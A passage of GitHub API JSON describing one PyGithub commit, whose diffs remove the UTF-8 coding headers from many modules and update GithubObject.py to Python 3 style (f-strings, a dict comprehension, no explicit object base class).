#"},{"sha":"38dd650943433ed86b42c0674f50b0c0173988d6","filename":"github/AuthorizationApplication.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FAuthorizationApplication.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FAuthorizationApplication.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FAuthorizationApplication.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"f723301c992529f6902bb52d24c8d1d5b8a2c80b","filename":"github/Branch.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FBranch.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FBranch.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FBranch.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"ffc364c8dfa5bc0627194187690e5c48eb4ac65a","filename":"github/BranchProtection.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FBranchProtection.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FBranchProtection.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FBranchProtection.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Steve Kowalik #"},{"sha":"9a895980289ad23c20ee682182d4af108d0ae82a","filename":"github/CheckRun.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCheckRun.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCheckRun.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FCheckRun.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Dhruv Manilawala #"},{"sha":"5c7033cda9894b83e696d8e880cde3166c73265a","filename":"github/CheckRunAnnotation.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCheckRunAnnotation.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCheckRunAnnotation.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FCheckRunAnnotation.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Dhruv Manilawala #"},{"sha":"3dfc02382ac738303501d2e9806ad2c980b6d0dd","filename":"github/CheckRunOutput.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCheckRunOutput.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCheckRunOutput.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FCheckRunOutput.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Dhruv Manilawala #"},{"sha":"d6d67c32f6426c2c786cc5c240a245c65403d246","filename":"github/CheckSuite.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCheckSuite.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCheckSuite.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FCheckSuite.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Raju Subramanian #"},{"sha":"bf07b60b83c9fe2a07befe1ba921f6cc58a1cb9c","filename":"github/Clones.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FClones.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FClones.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FClones.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Justin Kufro #"},{"sha":"f951589d35e368580c9e6ca419aafb63dc8c72c6","filename":"github/Commit.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCommit.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCommit.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FCommit.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"fb420d868a30436f0953530673e709ba70828325","filename":"github/CommitCombinedStatus.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCommitCombinedStatus.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCommitCombinedStatus.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FCommitCombinedStatus.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2016 Jannis Gebauer #"},{"sha":"f5eca565eede61e0d528f4ffbc1693af5eddd67e","filename":"github/CommitComment.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCommitComment.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCommitComment.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FCommitComment.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"2a511c8a74a7d664037036ef15d55c0f2a8dd2f4","filename":"github/CommitStats.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCommitStats.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCommitStats.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FCommitStats.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"b95b49e461a267862bc3892edc0f53e731d8a5be","filename":"github/CommitStatus.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCommitStatus.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FCommitStatus.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FCommitStatus.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"f058b7e3892f40a38fe9a38a18bdfa2463ea2f18","filename":"github/Comparison.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FComparison.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FComparison.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FComparison.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"d5cbcb7e21893bd46c1901678a5aa687c51da628","filename":"github/Consts.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FConsts.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FConsts.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FConsts.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 AKFish #"},{"sha":"8d3289aeccde1b2eb91e0559539abd1f2bf45b8c","filename":"github/ContentFile.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FContentFile.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FContentFile.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FContentFile.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"9e959d097de554c0923d68216bf7b47a9fa24ac2","filename":"github/Deployment.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FDeployment.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FDeployment.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FDeployment.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Steve Kowalik #"},{"sha":"518f0b4a8ed3bcd779eaa06ad07c8777aebd71d5","filename":"github/DeploymentStatus.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FDeploymentStatus.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FDeploymentStatus.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FDeploymentStatus.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Colby Gallup #"},{"sha":"5c7932eacbd61d53f395f48c8191aa46318a8238","filename":"github/Download.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FDownload.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FDownload.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FDownload.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"f690d802290538cc39ae9d4e14db807e1ba47a57","filename":"github/Event.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FEvent.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FEvent.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FEvent.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"cc07442cae8a3add1bbd667f527be8ddf810a4fc","filename":"github/File.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FFile.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FFile.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FFile.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"88b799a3eea219e600841d4cfff7f01bdd518371","filename":"github/Gist.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGist.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGist.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGist.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Steve English #"},{"sha":"7bf85ec504d271f6db8524b06cdc2b21e7ed7d56","filename":"github/GistComment.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGistComment.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGistComment.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGistComment.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"f540e154a56e255f5e3489206ae4ca088b477bec","filename":"github/GistFile.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGistFile.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGistFile.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGistFile.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"5cb9690895e5563ceac5d14fb794c299e9187f20","filename":"github/GistHistoryState.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGistHistoryState.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGistHistoryState.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGistHistoryState.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"56f7a32283fc9e9df31e46db11fa347626cbfaa8","filename":"github/GitAuthor.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitAuthor.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitAuthor.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGitAuthor.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"c93e8c633c7f3d3a4324364425d6c27ac2fc6db9","filename":"github/GitBlob.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitBlob.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitBlob.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGitBlob.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"0a7aa6d81521874afa17ca6376ce125251293196","filename":"github/GitCommit.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitCommit.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitCommit.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGitCommit.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"02eb49af4126829280947ae4c6b9ebbc66e46a33","filename":"github/GitObject.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitObject.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitObject.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGitObject.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"69222b7d264a36e592eb033487c028e4f1afcfd3","filename":"github/GitRef.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitRef.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitRef.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGitRef.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"31a45edc0d17f80ccc1be8a26e7ba213e1182c54","filename":"github/GitRelease.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitRelease.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitRelease.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGitRelease.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2015 Ed Holland #"},{"sha":"7271b55252042ba4d3337da31bedcd35a08671cd","filename":"github/GitReleaseAsset.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitReleaseAsset.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitReleaseAsset.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGitReleaseAsset.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2017 Chris McBride #"},{"sha":"eb0bf65d627933bd6131722c2b22b465b8f0c630","filename":"github/GitTag.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitTag.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitTag.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGitTag.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"6afc1303a7bfe10f1487dbe39d4e1ae82bd2fdcd","filename":"github/GitTree.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitTree.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitTree.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGitTree.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"9da5e0331434adea65ac8761702c547097e03430","filename":"github/GitTreeElement.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitTreeElement.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitTreeElement.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGitTreeElement.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"cac31f245ebf4f7ba994cfd46122245b193e4e29","filename":"github/GithubApp.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGithubApp.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGithubApp.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGithubApp.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Raju Subramanian #"},{"sha":"4708047f708151cb6b4fa19681190925db0614ed","filename":"github/GithubException.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGithubException.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGithubException.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGithubException.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"3916153e806c51c6f2105897df8b2aabb66a9b25","filename":"github/GithubObject.py","status":"modified","additions":6,"deletions":11,"changes":17,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGithubObject.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGithubObject.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGithubObject.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #\n@@ -66,7 +64,7 @@ def value(self):\n )\n \n \n-class GithubObject(object):\n+class GithubObject:\n \"\"\"\n Base class for all classes representing objects returned by the API.\n \"\"\"\n@@ -233,13 +231,10 @@ def _makeDictOfStringsToClassesAttribute(self, klass, value):\n for key, element in value.items()\n ):\n return _ValuedAttribute(\n- dict(\n- (\n- key,\n- klass(self._requester, self._headers, element, completed=False),\n- )\n+ {\n+ key: klass(self._requester, self._headers, element, completed=False)\n for key, element in value.items()\n- )\n+ }\n )\n else:\n return _BadAttribute(value, {str: dict})\n@@ -269,8 +264,8 @@ def format_params(params):\n if isinstance(v, bytes):\n v = v.decode(\"utf-8\")\n if isinstance(v, str):\n- v = '\"{v}\"'.format(v=v)\n- yield u\"{k}={v}\".format(k=k, v=v)\n+ v = f'\"{v}\"'\n+ yield f\"{k}={v}\"\n \n return \"{class_name}({params})\".format(\n class_name=self.__class__.__name__,"},{"sha":"147276a997516ac17b5ec84becefb430774f5b2b","filename":"github/GitignoreTemplate.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitignoreTemplate.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FGitignoreTemplate.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGitignoreTemplate.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"346dc04c82009bf0125a86f003c45815da7fab4a","filename":"github/Hook.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FHook.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FHook.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FHook.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"44ec8af423c65966669e387b3b04ccb9dd854963","filename":"github/HookDescription.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FHookDescription.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FHookDescription.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FHookDescription.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques 